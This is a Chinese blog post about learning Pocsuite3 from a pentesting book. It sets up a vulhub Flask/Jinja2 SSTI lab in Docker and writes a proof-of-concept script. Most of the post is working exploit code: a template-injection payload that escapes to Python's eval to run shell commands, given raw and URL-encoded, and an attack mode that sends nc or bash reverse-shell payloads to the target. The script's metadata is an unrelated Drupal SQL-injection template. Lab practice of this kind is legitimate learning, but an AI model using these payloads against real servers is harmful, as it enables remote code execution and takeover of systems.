最近新买了一本关于Python的一本书《Python安全攻防渗透测试实战指南》,这本书出自MS08067安全实验室,才学到第三章,虽然书中有非常多的低级语法错误,但是总体来讲还是值得一学的。
收回我上面说的话,这本书就是垃圾,各种语法错误,官方给的源码连最基本的功能都实现不了!!!!!
这里书中有对Pocsuite框架有基本的介绍,这里就不重复了,只需要知道这是一款基于漏洞与POC的远程漏洞验证框架即可。
通过git克隆代码仓库
git clone https://github.com/knownsec/pocsuite3.git
克隆完成后,仓库结构大概是这样的
root@ubuntu:~# tree
.
└── pocsuite3
├── CHANGELOG.md
├── CONTRIBUTORS.md
├── COPYING
├── docs
│ ├── CODING.md
│ └── USAGE.md
├── make.bat
├── makefile
├── MANIFEST.in
├── pocsuite3
│ ├── api
│ │ └── __init__.py
│ ├── cli.py
│ ├── console.py
│ ├── data
│ │ ├── cacert.pem
│ │ ├── password-top100.txt
│ │ └── user-agents.txt
│ ├── __init__.py
│ ├── lib
│ │ ├── controller
│ │ │ ├── controller.py
│ │ │ └── __init__.py
│ │ ├── core
│ │ │ ├── clear.py
│ │ │ ├── common.py
│ │ │ ├── convert.py
│ │ │ ├── data.py
│ │ │ ├── datatype.py
│ │ │ ├── decorators.py
│ │ │ ├── enums.py
│ │ │ ├── exception.py
│ │ │ ├── __init__.py
│ │ │ ├── interpreter_option.py
│ │ │ ├── interpreter.py
│ │ │ ├── log.py
│ │ │ ├── optiondict.py
│ │ │ ├── option.py
│ │ │ ├── plugin.py
│ │ │ ├── poc.py
│ │ │ ├── readlineng.py
│ │ │ ├── register.py
│ │ │ ├── revision.py
│ │ │ ├── settings.py
│ │ │ ├── shell.py
│ │ │ ├── statistics_comparison.py
│ │ │ ├── threads.py
│ │ │ └── update.py
│ │ ├── helper
│ │ │ ├── archieve
│ │ │ │ ├── __init__.py
│ │ │ │ ├── jar.py
│ │ │ │ ├── memoryzip.py
│ │ │ │ ├── war.py
│ │ │ │ └── zip.py
│ │ │ ├── __init__.py
│ │ │ └── java
│ │ │ ├── __init__.py
│ │ │ └── serialization.py
│ │ ├── __init__.py
│ │ ├── parse
│ │ │ ├── cmd.py
│ │ │ ├── configfile.py
│ │ │ ├── __init__.py
│ │ │ └── url.py
│ │ ├── request
│ │ │ ├── __init__.py
│ │ │ └── patch
│ │ │ ├── add_httpraw.py
│ │ │ ├── hook_request.py
│ │ │ ├── hook_request_redirect.py
│ │ │ ├── __init__.py
│ │ │ ├── remove_ssl_verify.py
│ │ │ └── remove_warnings.py
│ │ └── utils
│ │ └── __init__.py
│ ├── modules
│ │ ├── censys
│ │ │ └── __init__.py
│ │ ├── ceye
│ │ │ └── __init__.py
│ │ ├── fofa
│ │ │ └── __init__.py
│ │ ├── httpserver
│ │ │ └── __init__.py
│ │ ├── __init__.py
│ │ ├── listener
│ │ │ ├── bind_tcp.py
│ │ │ ├── __init__.py
│ │ │ └── reverse_tcp.py
│ │ ├── seebug
│ │ │ └── __init__.py
│ │ ├── shodan
│ │ │ └── __init__.py
│ │ ├── spider
│ │ │ └── __init__.py
│ │ └── zoomeye
│ │ └── __init__.py
│ ├── plugins
│ │ ├── file_record.py
│ │ ├── html_report.py
│ │ ├── __init__.py
│ │ ├── poc_from_pocs.py
│ │ ├── poc_from_redis.py
│ │ ├── poc_from_seebug.py
│ │ ├── target_from_censys.py
│ │ ├── target_from_cidr.py
│ │ ├── target_from_fofa.py
│ │ ├── target_from_redis.py
│ │ ├── target_from_shodan.py
│ │ └── target_from_zoomeye.py
│ ├── pocs
│ │ ├── 20190404_WEB_Confluence_path_traversal.py
│ │ ├── drupalgeddon2.py
│ │ ├── ecshop_rce.py
│ │ ├── ftp_burst.py
│ │ ├── __init__.py
│ │ ├── libssh_auth_bypass.py
│ │ ├── node_red_unauthorized_rce.py
│ │ ├── redis_unauthorized_access.py
│ │ ├── ssh_burst.py
│ │ ├── telnet_burst.py
│ │ ├── thinkphp_rce2.py
│ │ ├── thinkphp_rce.py
│ │ ├── wd_nas_login_bypass_rce.py
│ │ └── weblogic_cve_2017_10271_unserialization.py
│ ├── shellcodes
│ │ ├── base.py
│ │ ├── data
│ │ │ ├── java
│ │ │ │ ├── reverse_tcp
│ │ │ │ │ └── Payload.class
│ │ │ │ └── src
│ │ │ │ └── ReverseTCP
│ │ │ │ └── Payload.java
│ │ │ ├── linux
│ │ │ │ ├── bind_tcp.bin
│ │ │ │ ├── reverse_tcp.bin
│ │ │ │ ├── src
│ │ │ │ │ ├── bind_tcp.asm
│ │ │ │ │ └── reverse_tcp.asm
│ │ │ │ └── x64
│ │ │ │ ├── bind_tcp.bin
│ │ │ │ ├── reverse_tcp.bin
│ │ │ │ └── src
│ │ │ │ ├── bind_tcp.asm
│ │ │ │ └── reverse_tcp.asm
│ │ │ └── windows
│ │ │ ├── bind_tcp.bin
│ │ │ ├── reverse_tcp.bin
│ │ │ ├── src
│ │ │ │ ├── bind_tcp.asm
│ │ │ │ └── reverse_tcp.asm
│ │ │ └── x64
│ │ │ ├── bind_tcp.bin
│ │ │ ├── reverse_tcp.bin
│ │ │ └── src
│ │ │ ├── bind_tcp.asm
│ │ │ └── reverse_tcp.asm
│ │ ├── dotnet.py
│ │ ├── encoder.py
│ │ ├── generator.py
│ │ ├── __init__.py
│ │ ├── java.py
│ │ ├── php.py
│ │ ├── python.py
│ │ └── tools
│ │ ├── ld64.exe
│ │ ├── ld.exe
│ │ ├── ld.gold.exe
│ │ ├── libwinpthread-1.dll
│ │ ├── nasm.exe
│ │ └── objdump.exe
│ └── thirdparty
│ ├── ansistrm
│ │ ├── ansistrm.py
│ │ └── __init__.py
│ ├── colorama
│ │ ├── ansi.py
│ │ ├── ansitowin32.py
│ │ ├── initialise.py
│ │ ├── __init__.py
│ │ ├── win32.py
│ │ └── winterm.py
│ ├── ifcfg
│ │ └── ifcfg
│ │ ├── __init__.py
│ │ ├── parser.py
│ │ └── tools.py
│ ├── markup
│ │ ├── __init__.py
│ │ └── markup.py
│ ├── oset
│ │ ├── __init__.py
│ │ └── orderedset.py
│ ├── prettytable
│ │ ├── __init__.py
│ │ └── prettytable.py
│ ├── pysocks
│ │ ├── __init__.py
│ │ └── socks.py
│ └── termcolor
│ ├── __init__.py
│ └── termcolor.py
├── pocsuite.ini
├── README.md
├── requirements.txt
├── setup.cfg
├── setup.py
├── test.py
└── tests
├── __init__.py
├── login_demo.py
├── test_api_diy_options.py
├── test_api_get_poc_info.py
├── test_cmd_diy_options.py
├── test_configfile.py
├── test_generate_shellcode_list.py
├── test_httpserver.py
├── test_import_pocsuite_execute.py
├── test_osshell.py
├── test_request_raw.py
├── test_spier_crawl.py
└── test_webshell.py
53 directories, 172 files
查看帮助信息:
root@ubuntu:~# cd pocsuite3/pocsuite3/
root@ubuntu:~/pocsuite3/pocsuite3# pwd
/root/pocsuite3/pocsuite3
root@ubuntu:~/pocsuite3/pocsuite3# python3 cli.py --help
Traceback (most recent call last):
File "cli.py", line 12, in <module>
from pocsuite3.lib.core.option import init
File "/root/pocsuite3/pocsuite3/__init__.py", line 10, in <module>
from .lib.core.common import set_paths
File "/root/pocsuite3/pocsuite3/lib/core/common.py", line 19, in <module>
import chardet
ImportError: No module named 'chardet'
当出现以上报错时安装chardet
模块即可:
pip3 install chardet
具体使用方法书中已经解释的很清楚了,这里不过多的说了
在编写POC脚本之前,我们需要将靶机环境搭建起来。
Flask轻量级web应用框架:Python编写,BSD授权,WSGI工具箱采用Werkzeug,模板引擎采用Jinja2
这里我们直接使用Docker搭建即可。
// 安装必要的软件包
sudo apt-get -y install apt-transport-https ca-certificates curl software-properties-common
// 安装docker
curl -sSL https://get.daocloud.io/docker | sh
// 安装docker-compose
curl -L https://get.daocloud.io/docker/compose/releases/download/1.22.0/docker-compose-`uname -s`-`uname -m` > /usr/local/bin/docker-compose
// 赋予执行权限
chmod +x /usr/local/bin/docker-compose
克隆靶机配置文件
// 克隆仓库
git clone https://github.com/vulhub/vulhub.git
// 切换到指定目录中
cd vulhub/flask/ssti
因为默认源速度慢到怀疑人生,这里我们使用阿里云源进入/etc/docker/daemon.json
(如没有就新建
{
"registry-mirrors": ["https://registry.docker-cn.com","https://nrbewqda.mirror.aliyuncs.com","https://dmmxhzvq.mirror.aliyuncs.com"]
}
重启docker生效service docker restart
启动漏洞环境:
root@ubuntu:~# docker-compose build // 编译下载漏洞环境所需的配置
web uses an image, skipping
root@ubuntu:~# docker-compose up -d // 启动漏洞环境
Creating network "ssti_default" with the default driver
Pulling web (vulhub/flask:1.1.1)...
1.1.1: Pulling from vulhub/flask
c7b7d16361e0: Pull complete
b7a128769df1: Pull complete
1128949d0793: Pull complete
667692510b70: Pull complete
bed4ecf88e6a: Pull complete
94d1c1cbf347: Pull complete
ac097723595b: Pull complete
e7028784d190: Pull complete
16fffdb8dec4: Pull complete
20a91e71c5f1: Pull complete
Digest: sha256:20d202d35fe99818878a3f844362210a21894bfab57b8acf23dfa3ade9a87026
Status: Downloaded newer image for vulhub/flask:1.1.1
Creating ssti_web_1 ... done
使用以下命令可以看到已经运行起来了:
root@slow:~/vulhub/flask/ssti# docker-compose ps
Name Command State Ports
----------------------------------------------------------------------------
ssti_web_1 /bin/sh -c gunicorn -w 4 - ... Up 0.0.0.0:8000->8000/tcp
root@slow:~/vulhub/flask/ssti# docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
cce021a95ecf vulhub/flask:1.1.1 "/bin/sh -c 'gunicor…" 33 seconds ago Up 31 seconds 0.0.0.0:8000->8000/tcp ssti_web_1
使用浏览器访问我们的网站
尝试提交参数
测试注入:
这里对于原著删除了没有使用到的代码,并且修改了一些语法错误
# 调用pocsuite的一些API函数
from pocsuite3.api import Output, register_poc, requests, POCBase
# 继承POCBase类
class DemoPOC(POCBase):
vulID = '1571' # ssvid ID, 如果是提交漏洞的同时提交PoC,则写出0
version = "1" # 版本
author = "seebug" # 作者名称
vulDate = '2014-10-16' # 漏洞公开时间
createDate = '2014-10-16' #编写POC时间
updateDate = '2014-10-16' # 更新POC时间
references = ['https://www.sektioneins.de/en/blog/14-10-15-drupal-sql-injection-vulnerability.html'] #漏洞地址来源,0day不用写
name = 'Drupal 7.x /includes/database/database.inc SQL注入漏洞POC' # POC名称
appPowerLink = 'https://www.drupal.org' # 漏洞厂商的主页地址
appName = 'Drupal' # 漏洞应用名称
appVersion = '7.x' # 漏洞影响版本
vulType = 'SQL Injection' # 漏洞类型
desc = """
Drupal 在处理IN语句时,展开数组时key带入SQL语句导致SQL注入,可以添加管理员,造成信息泄露
""" # 漏洞简要描述
samples = [] # 测试样例,使用POC测试成功的网站
install_requires = []
# 定义--verify参数,poc函数
def _verify(self):
'''verify mode'''
result = {
}
path = "/?name="
url = self.url + path
payload = '{
{22*22}}'
# first req
try:
resq = requests.get(url + payload)
print(resq.text)
# 判断对象,服务器状态码,服务器页面回显是否正确
if resq and resq.status_code == 200 and '484' in resq.text:
result['VerifyInfo'] = {
}
result['VerifyInfo']['URL'] = url
result['VerifyInfo']['Name'] = payload
except Exception as e:
pass
# 将服务器信息传入到该函数中
return self.parse_output(result)
def parse_output(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('target is not vulnerable.')
# 返回成功或失败消息
return output
# 定义--attack参数,attack函数
def _attack(self):
return self._verify()
# 注册poc
register_poc(DemoPOC)
上面这串代码比较简单,首先继承POCBase
类并定义一些POC信息变量:
_verify()
函数:检测漏洞(POC)代码块,一般最后返回主机信息,或测试成功后的信息。
_parse_output()
函数:这里的作用是检测result
变量是否有内容,若有则返回成功消息与输出result
内容,没有则返回失败信息。
_attack()
函数:攻击实(EXP)战代码块,与POC不同的是对服务器进行目的性或破坏性的行动,这里不多做介绍,下面会用到。
在编写代码之前,我们需要了解一些python内置变量调动的知识:
__bases__
:以元组返回一个类所直接继承的类。
__mor__
:以元组返回继承关系链。
__class__
:返回对象所属的类。
__globals__
:以字典返回函数所在模块命名空间中的所有变量。
__subclasses__()
:以列表的返回类的子类。
__builtins__
:内建函数
构建我们代码执行的脚本:
for c in ().__class__.__base__[0].__subclass__():
if c.__name__=='_IterationGuard':
c.__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")
再将其语法格式转换为Jinja2
:
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='_IterationGuard'%}
{
{ c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") }}
{% endif %}
{% endfor %}
再将其转换为URL编码:
%7b%25+for+c+in+%5b%5d.__class__.__base__.__subclasses__()+%25%7d
+%7b%25+if+c.__name__%3d%3d%27_IterationGuard%27%25%7d
++%7b%7b+c.__init__.__globals__%5b%27__builtins__%27%5d%5b%27eval%27%5d(%22__import__(%27os%27).popen(%27whoami%27).read()%22)+%7d%7d
+%7b%25+endif+%25%7d
%7b%25+endfor+%25%7d
我们可以先尝试下是否能够成功:
下面就可以开始编写我们的代码了:
from pocsuite3.api import Output, register_poc, requests, POCBase, REVERSE_PAYLOAD, OptDict
from collections import OrderedDict
class DemoPOC(POCBase):
vulID = '1571'
version = "1"
author = "seebug"
vulDate = '2014-10-16'
createDate = '2014-10-16'
updateDate = '2014-10-16'
references = ['https://www.sektioneins.de/en/blog/14-10-15-drupal-sql-injection-vulnerability.html']
name = 'Drupal 7.x /includes/database/database.inc SQL注入漏洞POC'
appPowerLink = 'https://www.drupal.org'
appName = 'Drupal'
appVersion = '7.x'
vulType = 'SQL Injection'
desc = """
Drupal 在处理IN语句时,展开数组时key带入SQL语句导致SQL注入,可以添加管理员,造成信息泄露
"""
samples = []
install_requires = []
def _verify(self):
"""verify mode"""
result = {
}
path = "/?name="
url = self.url + path
payload = "{
{22*22}}"
try:
resq = requests.get(url + payload)
if resq and resq.status_code == 200 and "484" in resq.text:
result['VerifyInfo'] = {
}
result['VerifyInfo']['URL'] = url
result['VerifyInfo']['NAME'] = payload
except Exception as e:
pass
return self.parse_output(result)
# 定义其他选项参数
def _options(self):
# 字典排序
o = OrderedDict()
payload = {
"nc" : REVERSE_PAYLOAD.NC,
"bash" : REVERSE_PAYLOAD.BASH,
}
# 设置默认值
o["command"] = OptDict(selected="bash", default=payload)
return o
def _attack(self):
'''attack mode'''
result = {
}
path = "/?name="
url = self.url + path
# 接受参数
cmd = self.get_option("command")
payload = '''%7b%25+for+c+in+%5b%5d.__class__.__base__.__subclasses__()+%25%7d
+%7b%25+if+c.__name__%3d%3d%27_IterationGuard%27%25%7d
++%7b%7b+c.__init__.__globals__%5b%27__builtins__%27%5d%5b%27eval%27%5d(%22__import__(%27os%27).popen(%27{0}%27).read()%22)+%7d%7d
+%7b%25+endif+%25%7d
%7b%25+endfor+%25%7d'''.format(cmd)
try:
resq = requests.get(url + payload)
t = resq.text
t = t.replace('\n', '').replace('\r', '')
print(t)
t = t.replace(' ', '')
result['VerifyInfo'] = {
}
result['VerifyInfo']['URL'] = url
result['VerifyInfo']['NAME'] = t
except Exception as e:
pass
return self.parse_output(result)
def parse_output(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail("target is not vulnerable")
return output
register_poc(DemoPOC)
这里比较简单就不做其他的注释了。
最后成功执行命令